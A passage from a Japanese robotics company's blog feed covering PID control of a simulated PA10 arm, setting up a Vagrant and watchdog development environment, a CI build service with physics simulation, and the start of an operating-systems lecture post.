<p>今回はさほど気になりませんでしたが、重いロボットを使う場合、<script type="math/tex">K_p, K_d</script>の両者を調整しても自身の重さに負けて腕の位置が低い状態で維持されてしまうことがあります。そのような時に使うのが「積分ゲイン<script type="math/tex">K_i</script>」で、この係数の調整によってズレた姿勢が長時間継続するのを防ぐことができます。</p>

<p>また、今回は全ての軸に対して同じPID係数を適用しましたが、調整済みの動画をよくよく見ると、腕の左右の細かい振動が発生してしまっています。大きな慣性がかかる上下方向の制御と、それよりは軽い左右方向の制御では最適なPID係数が異なるのです。今回は手抜きしましたが、本当はロボットの各軸に対してPID係数を調整してあげる必要があります。</p>

<p>最後にRTMを使った開発についても説明したいと思います。今回、腕の上下動を実現しましたが、上下の動きを生成する部分は以下のように実装されています：</p>

<div class='bogus-wrapper'><notextile><figure class='code'><figcaption><span>PA10Controller.cpp </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='cpp'><span class='line'><span></span>  <span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="o">&gt;</span> <span class="mi">1000</span><span class="p">)</span>
</span><span class='line'>    <span class="n">m_qRef</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mf">0.8</span><span class="p">;</span>
</span><span class='line'>  <span class="k">else</span>
</span><span class='line'>    <span class="n">m_qRef</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">;</span>
</span><span class='line'>  <span class="n">count</span><span class="o">++</span><span class="p">;</span>
</span><span class='line'>  <span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="o">&gt;</span> <span class="mi">2000</span><span class="p">)</span> <span class="n">count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>次回以降、複雑な動作を生成するシミュレーションを紹介していこうと思うのですが、今回作成したPID制御プログラム部分は再利用する予定です。その際、コピペしないで使いまわせるのが理想です。</p>

<p>RTMでは「コンポーネント」という単位でソフトウェアを分割して開発することができます。今回の環境では「PA10コントローラ」と「シミュレータ」の二つのコンポーネントがつながった状態で動作しています：</p>

<div class="graphviz-wrapper">

<!-- Generated by graphviz version 2.38.0 (20140413.2041)
 -->
<!-- Title: g Pages: 1 -->
<svg role="img" aria-label="" width="370pt" height="47pt"
 viewBox="0.00 0.00 369.78 46.99"  >
<title></title>
<desc>
digraph g {
  rankdir=LR
  PA10コントローラ [fillcolor=yellow, style=filled]
  PA10コントローラ -&gt; シミュレータ [label=&quot;出力&quot;]
  シミュレータ -&gt; PA10コントローラ [label=&quot;現在姿勢&quot;]
}
</desc>

<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 42.9937)">
<title>g</title>
<polygon fill="white" stroke="none" points="-4,4 -4,-42.9937 365.776,-42.9937 365.776,4 -4,4"/>
<!-- PA10コントローラ -->
<g id="node1" class="node"><title>PA10コントローラ</title>
<ellipse fill="yellow" stroke="black" cx="76.6932" cy="-20.9937" rx="76.8869" ry="18"/>
<text text-anchor="middle" x="76.6932" y="-17.2937" font-family="Times,serif" font-size="14.00">PA10コントローラ</text>
</g>
<!-- シミュレータ -->
<g id="node2" class="node"><title>シミュレータ</title>
<ellipse fill="none" stroke="black" cx="304.581" cy="-20.9937" rx="57.3905" ry="18"/>
<text text-anchor="middle" x="304.581" y="-17.2937" font-family="Times,serif" font-size="14.00">シミュレータ</text>
</g>
<!-- PA10コントローラ&#45;&gt;シミュレータ -->
<g id="edge1" class="edge"><title>PA10コントローラ&#45;&gt;シミュレータ</title>
<path fill="none" stroke="black" d="M153.539,-20.9937C180.582,-20.9937 210.817,-20.9937 237.02,-20.9937"/>
<polygon fill="black" stroke="black" points="237.225,-24.4938 247.225,-20.9937 237.225,-17.4938 237.225,-24.4938"/>
<text text-anchor="middle" x="200.386" y="-24.7937" font-family="Times,serif" font-size="14.00">出力</text>
</g>
<!-- シミュレータ&#45;&gt;PA10コントローラ -->
<g id="edge2" class="edge"><title>シミュレータ&#45;&gt;PA10コントローラ</title>
<path fill="none" stroke="black" d="M262.728,-8.58062C251.985,-5.85573 240.336,-3.37343 229.386,-1.99368 199.953,1.71518 167.304,-1.43667 139.858,-6.16528"/>
<polygon fill="black" stroke="black" points="139.205,-2.72666 129.998,-7.96895 140.464,-9.61242 139.205,-2.72666"/>
<text text-anchor="middle" x="200.386" y="-5.79368" font-family="Times,serif" font-size="14.00">現在姿勢</text>
</g>
</g>
</svg>
</div>


<p>ここで、PA10コントローラの「上下動を実現する部分」と「PID制御を実現する部分」を分割して以下のような構成にすることを考えてみます：</p>

<div class="graphviz-wrapper">

<!-- Generated by graphviz version 2.38.0 (20140413.2041)
 -->
<!-- Title: g Pages: 1 -->
<svg role="img" aria-label="" width="585pt" height="47pt"
 viewBox="0.00 0.00 584.67 47.30"  >
<title></title>
<desc>
digraph g {
  rankdir=LR
  上下動作生成 [fillcolor=yellow, style=filled]
  PIDコントローラ [fillcolor=yellow, style=filled]
  上下動作生成 -&gt; PIDコントローラ [label=&quot;目標姿勢&quot;]
  PIDコントローラ -&gt; シミュレータ [label=&quot;出力&quot;]
  シミュレータ -&gt; PIDコントローラ [label=&quot;現在姿勢&quot;]
}
</desc>

<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 43.2964)">
<title>g</title>
<polygon fill="white" stroke="none" points="-4,4 -4,-43.2964 580.666,-43.2964 580.666,4 -4,4"/>
<!-- 上下動作生成 -->
<g id="node1" class="node"><title>上下動作生成</title>
<ellipse fill="yellow" stroke="black" cx="66.2941" cy="-21.2964" rx="66.0889" ry="18"/>
<text text-anchor="middle" x="66.2941" y="-17.5964" font-family="Times,serif" font-size="14.00">上下動作生成</text>
</g>
<!-- PIDコントローラ -->
<g id="node2" class="node"><title>PIDコントローラ</title>
<ellipse fill="yellow" stroke="black" cx="297.432" cy="-21.2964" rx="70.6878" ry="18"/>
<text text-anchor="middle" x="297.432" y="-17.5964" font-family="Times,serif" font-size="14.00">PIDコントローラ</text>
</g>
<!-- 上下動作生成&#45;&gt;PIDコントローラ -->
<g id="edge1" class="edge"><title>上下動作生成&#45;&gt;PIDコントローラ</title>
<path fill="none" stroke="black" d="M132.649,-21.2964C158.689,-21.2964 188.916,-21.2964 216.261,-21.2964"/>
<polygon fill="black" stroke="black" points="216.585,-24.7965 226.585,-21.2964 216.585,-17.7965 216.585,-24.7965"/>
<text text-anchor="middle" x="179.588" y="-25.0964" font-family="Times,serif" font-size="14.00">目標姿勢</text>
</g>
<!-- シミュレータ -->
<g id="node3" class="node"><title>シミュレータ</title>
<ellipse fill="none" stroke="black" cx="519.471" cy="-21.2964" rx="57.3905" ry="18"/>
<text text-anchor="middle" x="519.471" y="-17.5964" font-family="Times,serif" font-size="14.00">シミュレータ</text>
</g>
<!-- PIDコントローラ&#45;&gt;シミュレータ -->
<g id="edge2" class="edge"><title>PIDコントローラ&#45;&gt;シミュレータ</title>
<path fill="none" stroke="black" d="M368.356,-21.2964C395.018,-21.2964 425.321,-21.2964 451.684,-21.2964"/>
<polygon fill="black" stroke="black" points="451.957,-24.7965 461.957,-21.2964 451.957,-17.7965 451.957,-24.7965"/>
<text text-anchor="middle" x="415.276" y="-25.0964" font-family="Times,serif" font-size="14.00">出力</text>
</g>
<!-- シミュレータ&#45;&gt;PIDコントローラ -->
<g id="edge3" class="edge"><title>シミュレータ&#45;&gt;PIDコントローラ</title>
<path fill="none" stroke="black" d="M477.618,-8.88338C466.874,-6.15849 455.225,-3.67619 444.276,-2.29644 418.7,0.926287 411.907,0.443863 386.276,-2.29644 377.161,-3.27093 367.603,-4.79881 358.286,-6.57476"/>
<polygon fill="black" stroke="black" points="357.415,-3.17982 348.302,-8.58477 358.796,-10.0421 357.415,-3.17982"/>
<text text-anchor="middle" x="415.276" y="-6.09644" font-family="Times,serif" font-size="14.00">現在姿勢</text>
</g>
</g>
</svg>
</div>


<p>このような構成にすると、他の動作であってもPID制御部分は使い回すことができます：</p>

<div class="graphviz-wrapper">

<!-- Generated by graphviz version 2.38.0 (20140413.2041)
 -->
<!-- Title: g Pages: 1 -->
<svg role="img" aria-label="" width="547pt" height="47pt"
 viewBox="0.00 0.00 546.97 47.30"  >
<title></title>
<desc>
digraph g {
  rankdir=LR
  PIDコントローラ [fillcolor=yellow, style=filled]
  他の動作 -&gt; PIDコントローラ [label=&quot;目標姿勢&quot;]
  PIDコントローラ -&gt; シミュレータ [label=&quot;出力&quot;]
  シミュレータ -&gt; PIDコントローラ [label=&quot;現在姿勢&quot;]
}
</desc>

<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 43.2964)">
<title>g</title>
<polygon fill="white" stroke="none" points="-4,4 -4,-43.2964 542.969,-43.2964 542.969,4 -4,4"/>
<!-- PIDコントローラ -->
<g id="node1" class="node"><title>PIDコントローラ</title>
<ellipse fill="yellow" stroke="black" cx="259.735" cy="-21.2964" rx="70.6878" ry="18"/>
<text text-anchor="middle" x="259.735" y="-17.5964" font-family="Times,serif" font-size="14.00">PIDコントローラ</text>
</g>
<!-- シミュレータ -->
<g id="node3" class="node"><title>シミュレータ</title>
<ellipse fill="none" stroke="black" cx="481.774" cy="-21.2964" rx="57.3905" ry="18"/>
<text text-anchor="middle" x="481.774" y="-17.5964" font-family="Times,serif" font-size="14.00">シミュレータ</text>
</g>
<!-- PIDコントローラ&#45;&gt;シミュレータ -->
<g id="edge2" class="edge"><title>PIDコントローラ&#45;&gt;シミュレータ</title>
<path fill="none" stroke="black" d="M330.659,-21.2964C357.322,-21.2964 387.624,-21.2964 413.988,-21.2964"/>
<polygon fill="black" stroke="black" points="414.26,-24.7965 424.26,-21.2964 414.26,-17.7965 414.26,-24.7965"/>
<text text-anchor="middle" x="377.579" y="-25.0964" font-family="Times,serif" font-size="14.00">出力</text>
</g>
<!-- 他の動作 -->
<g id="node2" class="node"><title>他の動作</title>
<ellipse fill="none" stroke="black" cx="47.4458" cy="-21.2964" rx="47.3916" ry="18"/>
<text text-anchor="middle" x="47.4458" y="-17.5964" font-family="Times,serif" font-size="14.00">他の動作</text>
</g>
<!-- 他の動作&#45;&gt;PIDコントローラ -->
<g id="edge1" class="edge"><title>他の動作&#45;&gt;PIDコントローラ</title>
<path fill="none" stroke="black" d="M95.1158,-21.2964C119.579,-21.2964 150.234,-21.2964 178.377,-21.2964"/>
<polygon fill="black" stroke="black" points="178.616,-24.7965 188.616,-21.2964 178.616,-17.7965 178.616,-24.7965"/>
<text text-anchor="middle" x="141.892" y="-25.0964" font-family="Times,serif" font-size="14.00">目標姿勢</text>
</g>
<!-- シミュレータ&#45;&gt;PIDコントローラ -->
<g id="edge3" class="edge"><title>シミュレータ&#45;&gt;PIDコントローラ</title>
<path fill="none" stroke="black" d="M439.921,-8.88338C429.177,-6.15849 417.529,-3.67619 406.579,-2.29644 381.003,0.926287 374.211,0.443863 348.579,-2.29644 339.464,-3.27093 329.906,-4.79881 320.589,-6.57476"/>
<polygon fill="black" stroke="black" points="319.718,-3.17982 310.605,-8.58477 321.1,-10.0421 319.718,-3.17982"/>
<text text-anchor="middle" x="377.579" y="-6.09644" font-family="Times,serif" font-size="14.00">現在姿勢</text>
</g>
</g>
</svg>
</div>


<p>RTM（ROSもそうですが）はこのようなコンポーネント作成と接続・再接続を容易にするライブラリを提供してくれます。具体的な方法は次回以降説明しますが、今回使ったプログラム全体を読んでみるとポート定義部分から何となく想像できるかもしれません。</p>

<p>次回はロボットにより複雑な動作をさせるために必要な「逆運動学」の概念について説明するとともに、RTMによる開発についてもより深めていきたいと思います。</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Vagrant + Hrpsys-base + Watchdogではじめるロボットソフトウェア開発]]></title>
    <link href="https://tech.mid-japan.com/blog/2014/06/28/vagrant-hrpsys-watchdog/"/>
    <updated>2014-06-28T11:00:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2014/06/28/vagrant-hrpsys-watchdog</id>
    <content type="html"><![CDATA[<p>前回のブログでは弊社が開発したWeb界隈で良く用いられているCI（継続的インテグレーション）をロボットソフトウェア開発でも利用できるシステムを紹介しましたが、今回もWeb開発の便利なツールをロボットソフトウェア開発に導入してみます。</p>

<p>今回導入するツールは、「Vagrant」と「watchdog」です。</p>

<!-- more -->


<p>ロボットソフトウェア開発をはじめるにあたって、まず大変なのは開発環境作りです。ROSを使う場合にはLinuxがインストールされた実マシンか仮想環境、RTMはWindowsへの対応も行われていますがインストール後の設定が煩雑で安定せずなかなかすぐに開発をはじめることができないのが現状です。「Vagrant(<a href="http://www.vagrantup.com">http://www.vagrantup.com</a>)」はそのような開発環境の構築を劇的に楽にしてくれるツールです。</p>

<p>Vagrantには以下の機能があります：</p>

<ul>
<li><p>Linuxインストール済みの仮想ディスクイメージ（BOX形式）の自動ダウンロード機能</p></li>
<li><p>仮想化ソフトウェア（標準ではVirtualBox）を自動で操作してコマンド一つで仮想マシンを立ち上げる機能</p></li>
<li><p>立ち上げた仮想マシンに対してソフトウェアのインストールなどを自動で行う（プロビジョニングする）機能</p></li>
</ul>


<p>Vagrantは各種OS（Windows, OSX, Linux）に対応しており、どのOS上でも同じ操作で同じ環境を即座に立ち上げることができます。</p>

<p>弊社ではRTM,ROSの両者の開発ができる設定済みVagrant環境を以下のレポジトリで公開しています。</p>

<p><a href="https://github.com/devrt/vagrant-robotics-boilerplate">https://github.com/devrt/vagrant-robotics-boilerplate</a></p>

<p>今回はこの環境を使ってロボットソフトウェア開発をはじめる方法を説明します。Vagrant環境を立ち上げるには以下の手順で作業を進めてください。</p>

<p>Windows, OSX, Linux共通の手順：</p>

<ol>
<li><p>Vagrantをダウンロードしてインストールする： <a href="http://vagrantup.com/">http://vagrantup.com/</a></p></li>
<li><p>VirtualBoxをダウンロードしてインストールする： <a href="http://virtualbox.org/">http://virtualbox.org/</a></p></li>
</ol>


<p>オペレーティングシステムごとで異なる手順：</p>

<ul>
<li><p>Windowsの場合はgitとsshをインストールする必要があります。両者が一度にインストールできるmsysgitパッケージを入れるのがおすすめです。 <a href="http://msysgit.github.io/">http://msysgit.github.io/</a></p></li>
<li><p>OSXでは追加でgitをインストールする必要があります。Homebrewを導入済みの環境であれば、「brew install git」コマンドでインストールできます。</p></li>
<li><p>Linuxでは「sudo apt-get install git」などとしてgitをインストールしてください。</p></li>
</ul>


<p>次にターミナルを立ち上げて以下のコマンドを入力することでレポジトリをコピーします：</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ git clone https://github.com/devrt/vagrant-robotics-boilerplate.git</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>ターミナルで以下のコマンドを入れてVagrantを立ち上げます：</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ cd vagrant-robotics-boilderplate
</span><span class='line'>$ vagrant up</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>「vagrant up」コマンドが入力されると以下の作業が自動で行われます：</p>

<ol>
<li><p>Linux仮想イメージのダウンロード</p></li>
<li><p>ロボット関連ソフトウェアのインストール（プロビジョニング）</p></li>
<li><p>ロボットシミュレーションを高速で行うための3Dアクセラレーションの設定</p></li>
</ol>


<p>初回起動時は仮想イメージのダウンロードやプロビジョニングに時間がかかりますが全て自動で行われるのでしばらく放っておいてください、次回以降は高速に起動します。</p>

<p>Vagrantには以下のコマンドがあります：</p>

<ul>
<li><p>「vagrant up」仮想マシンの立ち上げ（初回のみプロビジョニングも行う）</p></li>
<li><p>「vagrant ssh」仮想マシンへのログイン</p></li>
<li><p>「vagrant halt」仮想マシンのシャットダウン</p></li>
<li><p>「vagrant destroy」仮想マシンの消去（データが消えるので注意してください）</p></li>
</ul>


<p>しばらくおいておくと以下の画像のような環境が立ち上がると思います（立ち上がらない場合はコメント欄からフィードバックください）。</p>

<p><img class="center" src="https://tech.mid-japan.com/images/vagrant-hrp/vagrantup.png"></p>

<p>この環境上でロボットソフトウェア開発を行ってみましょう。</p>

<p>今回はRTMを使って開発を行いますが、ソフトウェア開発者から見るとRTMもROSも同じような機能を提供してくれます。両者ともOSはLinuxを使う（RTMはWindowsにも対応している）のですが、ソフトウェア部品同士が通信し合うための通信規格とライブラリを提供してくれます。両者とも多言語（Polyglot）に対応しており開発にC++, Python, Javaが使えますが、パフォーマンスの問題から特にロボットの制御を行う下位レイヤではC++で開発されることが多いです（Pythonなど他の言語で開発された上位レイヤとも自由に接続可能です）。</p>

<p>ただ、コンパイルを必要とするC++を使った開発では開発の高速性が失われることが多いのが問題です。今回、Webの開発で良く使われる「watchdog」というユーティリティを使って開発プロセスを高速化する工夫をしてみました。</p>

<p>レポジトリは以下のURLで公開しています：</p>

<p><a href="https://github.com/yosuke/test-devrtbuild-pa10">https://github.com/yosuke/test-devrtbuild-pa10</a></p>

<p>このプロジェクトではPA10ロボットにシンプルなPIDコントローラを接続して制御の実験を行っています。以下の手順でプロジェクトを開始することができます。</p>

<p>Vagrantへのログインとレポジトリのチェックアウト：</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ cd vagrant-robotics-boilderplate
</span><span class='line'>$ vagrant up
</span><span class='line'>$ vagrant ssh
</span><span class='line'>(以下Vagrantログイン後のコマンド)
</span><span class='line'>$ git clone https://github.com/yosuke/test-devrtbuild-pa10.git</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>watchdogの起動：</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>(Vagrantログイン後のコマンド)
</span><span class='line'>$ cd test-devrtbuild-pa10
</span><span class='line'>$ ./run.sh</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>「run.sh」を起動すると小さな窓が現れてプロジェクト内のファイルの監視が始まります。ファイルが変更されると自動でコンパイルとシミュレータの起動が行われます。</p>

<p>ターミナル上でエディタを起動して「PA10Controller.cpp」ファイルを編集してみてください。エディタには「nano」や「vi」を使うのが手軽ですが高機能なemacsをapt-getコマンドを使ってインストールしても良いでしょう。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ nano PA10Controller.cpp</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>エディタ上でファイルをセーブすると、以下の動画のような状態になるはずです（この動画ではファイルの編集にemacsを使っています）。</p>

<div class="embed-video-container"><iframe src="http://www.youtube.com/embed/qfiE2X6wMhM" allowfullscreen></iframe></div>


<p>ファイル監視機能の設定は、tricks.ymlファイルの中に記述されおり以下のような内容です。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><figcaption><span>tricks.yml </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class='yaml'><span class='line'><span></span><span class="l l-Scalar l-Scalar-Plain">tricks</span><span class="p p-Indicator">:</span>
</span><span class='line'><span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">watchdog.tricks.ShellCommandTrick</span><span class="p p-Indicator">:</span>
</span><span class='line'>    <span class="l l-Scalar l-Scalar-Plain">patterns</span><span class="p p-Indicator">:</span> <span class="p p-Indicator">[</span><span class="s">&#39;*.cpp&#39;</span><span class="p p-Indicator">,</span> <span class="s">&#39;*.h&#39;</span><span class="p p-Indicator">]</span>
</span><span class='line'>    <span class="l l-Scalar l-Scalar-Plain">wait_for_process</span><span class="p p-Indicator">:</span> <span class="l l-Scalar l-Scalar-Plain">true</span>
</span><span class='line'>    <span class="l l-Scalar l-Scalar-Plain">shell_command</span><span class="p p-Indicator">:</span> <span class="s">&#39;make&#39;</span>
</span><span class='line'><span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">watchdog.tricks.AutoRestartTrick</span><span class="p p-Indicator">:</span>
</span><span class='line'>    <span class="l l-Scalar l-Scalar-Plain">patterns</span><span class="p p-Indicator">:</span> <span class="p p-Indicator">[</span><span class="s">&#39;*.so&#39;</span><span class="p p-Indicator">,</span> <span class="s">&#39;*.xml&#39;</span><span class="p p-Indicator">]</span>
</span><span class='line'>    <span class="l l-Scalar l-Scalar-Plain">command</span><span class="p p-Indicator">:</span> <span class="p p-Indicator">[</span><span class="s">&#39;hrpsys-simulator&#39;</span><span class="p p-Indicator">,</span> <span class="s">&#39;PA10Sample.xml&#39;</span><span class="p p-Indicator">]</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>好きな処理を付け加えることができるので、カスタマイズにも挑戦してみてください。</p>

<p>今回は開発の始め方までの内容で、RTMやROS自身の解説はできませんでしたが、また次回以降に解説を書きたいと思います。</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[物理シミュレーション付きのソフトウェアビルドサービスを開始しました]]></title>
    <link href="https://tech.mid-japan.com/blog/2014/06/11/start-software-build-service-with-simulation-environment/"/>
    <updated>2014-06-11T11:48:37+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2014/06/11/start-software-build-service-with-simulation-environment</id>
    <content type="html"><![CDATA[<p>ロボットと人工知能の話題がずいぶんと世間を賑わせていますね。</p>

<p>今まで何度もあったブームの振り子が戻ってきただけだよ、という覚めた見方もあると思うのですが、クラウドの技術進化と価格競争で高度な人工知能アルゴリズムを実行するに十分な巨大な計算リソースを誰でも安価に利用できるようになったこと。また、よくできたロボットをとても安価な値段で利用できるようになりそうな背景を考えると、今回はこれまでのブームとは違いが出てきそうな予感もしています。いずれにせよ、この様な機会に技術開発に取り組んでいくのは非常に良いことでしょう。</p>

<p>ロボットと人工知能を組み合わせたシステムを開発するには、一つの問題があります。このブログの筆者自身、研究者時代も含めてかれこれ15年以上人工知能とロボットの世界に関わっているのですが、最終的にロボットの形に落とし込んでいくとはいえ、人工知能部分はソフトウェアであり、ソフトウェアにはバグが付きものであり、デバッグの過程でロボットが何度も壊れます。この様な状況を打開するために、今ではロボットのソフトウェア開発に、物理シミュレーションが多用されています。</p>

<!-- more -->


<p>OpenHRP(<a href="http://www.openrtp.jp/openhrp3/jp/">http://www.openrtp.jp/openhrp3/jp/</a>)は産総研が開発した物理シミュレータで二足歩行ロボットやマニピュレーションの実験に良く使われています。gazebo(<a href="http://gazebosim.org/">http://gazebosim.org/</a>)は欧米の研究で良く使われている物理シミュレータです。両シミュレータともプラグイン機構があり、数種の物理シミュレーションコア(ODEなど)を差し替えて利用することができるのが特徴です。</p>

<p>多くのロボットソフトウェア開発では手元で物理シミュレータを動かしつつ、それに接続したソフトウェアを動作させデバッグを進めていき、ある程度動作が安定した時点で実ロボットに接続を切り替えます。現在ではRTMやROSなどのミドルウェア規格に準拠したソフトウェア開発が一般的になっており、ソフトウェア間の接続は容易に切り替えることができます。とはいえ、Web界隈のソフトウェア開発で使われるツールと比較するとその環境は非常に貧弱です。今回弊社ではCI(継続的インテグレーション)を実現するソフトウェアビルドサービスを作成し、公開開始しました。</p>

<p>サービスはLinux軽量コンテナとhrpsys-base(OpenHRPのコアアルゴリズムを利用したコマンドライン指向の物理シミュレーションフロントエンド)を組み合わせて構成されています。</p>

<p>サービスを利用するには、まずgithubレポジトリに「.devrt.yml」というYAML形式のテキストファイルを作成してください。「.devrt.yml」には以下の内容を記述します：</p>

<ul>
<li>before_install: ビルド＆インストール前に実行するコマンド</li>
<li>install: ソフトウェアをビルドするためのコマンド</li>
<li>simulation: シミュレーションの設定

<ul>
<li>project: OpenHRP形式のプロジェクトファイル</li>
<li>init: シミュレーション開始直前に実行するコマンド（テストしたいソフトウェアの初期化や相互接続をここでする）</li>
</ul>
</li>
</ul>


<p>各コマンドはLinux(厳密にはLinuxの下にぶら下がった軽量コンテナ上)のrootユーザとして実行されます。travis-ciなどを使ったことがある方には分かると思いますが、まったく同じ仕組みです。</p>

<p>以下は、.devrt.ymlファイルの例です。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><figcaption><span>.devrt.yml </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class='yaml'><span class='line'><span></span><span class="l l-Scalar l-Scalar-Plain">before_install</span><span class="p p-Indicator">:</span>
</span><span class='line'>  <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">apt-get install -y libopencv-dev</span>
</span><span class='line'>
</span><span class='line'><span class="l l-Scalar l-Scalar-Plain">install</span><span class="p p-Indicator">:</span>
</span><span class='line'>  <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">cd /work/control &amp;&amp; cmake . &amp;&amp; make &amp;&amp; make install</span>
</span><span class='line'>
</span><span class='line'><span class="l l-Scalar l-Scalar-Plain">simulation</span><span class="p p-Indicator">:</span>
</span><span class='line'>  <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">project</span><span class="p p-Indicator">:</span> <span class="l l-Scalar l-Scalar-Plain">PA10Sample.xml</span>
</span><span class='line'>    <span class="l l-Scalar l-Scalar-Plain">init</span><span class="p p-Indicator">:</span>
</span><span class='line'>      <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">echo &quot;here we start!&quot;</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>完全なサンプルは以下のページを参照してください。</p>

<p><a href="https://github.com/yosuke/test-devrtbuild-pa10">https://github.com/yosuke/test-devrtbuild-pa10</a></p>

<p>.devrt.ymlの作成とレポジトリへの登録が済んだら、以下のページからログインしてレポジトリをビルドサービスに登録してください。</p>

<p><a href="http://devrt.tk/build">http://devrt.tk/build</a></p>

<p>ビルド結果は以下のようなアニメーションgifとして、ブログなどにも貼り付けることができます。</p>

<p><a href="http://devrt.tk/build/repo/53955d17bb566033b4042887"><img src="http://devrt.tk/build/repo/53955d17bb566033b4042887.gif" alt="Build Status" /></a></p>

<p>「git submodule」を使って外部レポジトリも参照可能です。以下は、Tokyo Opensource Robotics Kyokaiさんで公開されているNextageモデルを参照した例。</p>

<p><a href="http://devrt.tk/build/repo/53957788bb566d0c8a100b2e"><img src="http://devrt.tk/build/repo/53957788bb566d0c8a100b2e.gif" alt="Build Status" /></a></p>

<p>ビルド間でシミュレーションの結果を比較する機能もあります。</p>

<p><a href="http://devrt.tk/build/diff/539561c9bb566033b4042889...539563dcbb566033b404288a">http://devrt.tk/build/diff/539561c9bb566033b4042889...539563dcbb566033b404288a</a></p>

<p><a href="http://devrt.tk/build/diff/539561c9bb566033b4042889...539563dcbb566033b404288a"><img src="https://tech.mid-japan.com/images/devrtbuild/diff.png" alt="Compare builds" /></a></p>

<p>Linux軽量コンテナを使っているため、各ビルドの実行は非常に高速です。公開レポジトリのビルドに関してはフリー(非公開レポジトリで利用したい方についてはお問い合わせください)ですので、お気軽にご利用ください。</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[オペレーティングシステムの基本構成、とLinuxにおけるローレベルなシステムコールの仕組み]]></title>
    <link href="https://tech.mid-japan.com/blog/2013/05/11/basic-structure-of-operating-system/"/>
    <updated>2013-05-11T10:09:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2013/05/11/basic-structure-of-operating-system</id>
    <content type="html"><![CDATA[<p>仕事帰りの新幹線でこの文書を書いています。</p>

<p>最新ののぞみ号では窓側席の下に自由に使える電源ソケットがあったり、無線LANも飛んでいたりと、仕事をする上では非常に快適な環境で移動が苦になりません。</p>

<p>そんな新幹線も今年で開業50周年だそうです。長いと感じるか短いと感じるかは人それぞれだと思いますが、私は案外短いんだなと感じました。このような技術を作ったそんなに昔の人でもない先人たちの偉業を思うたびに頭が下がる今日このごろです。</p>

<p>さて、今回のブログではオペレーティンシステムの授業シリーズ第２回目ということで「オペレーティングシステムの基本構成」について書きたいと思います。授業では扱いきれないローレベルなシステムコールについてのおまけも最後についています。</p>

<!-- more -->


<h2>導入</h2>

<p>前回の授業では「オペレーティングシステムとは何か？」という議論をしました。</p>

<p>オペレーティングシステムとは、ソフトウェアを「応用（アプリケーション）ソフトウェア」と「基本ソフトウェア」に分解した後者の部分であり、</p>

<ul>
<li>アプリケーションソフトウェアとハードウェアの間に存在し</li>
<li>アプリケーションソフトウェアとは共通化されているAPIによって区分される</li>
</ul>


<p>部分でした。</p>

<p><img class="center" src="https://tech.mid-japan.com/images/operatingsystem/app-api-os-hw.png"></p>

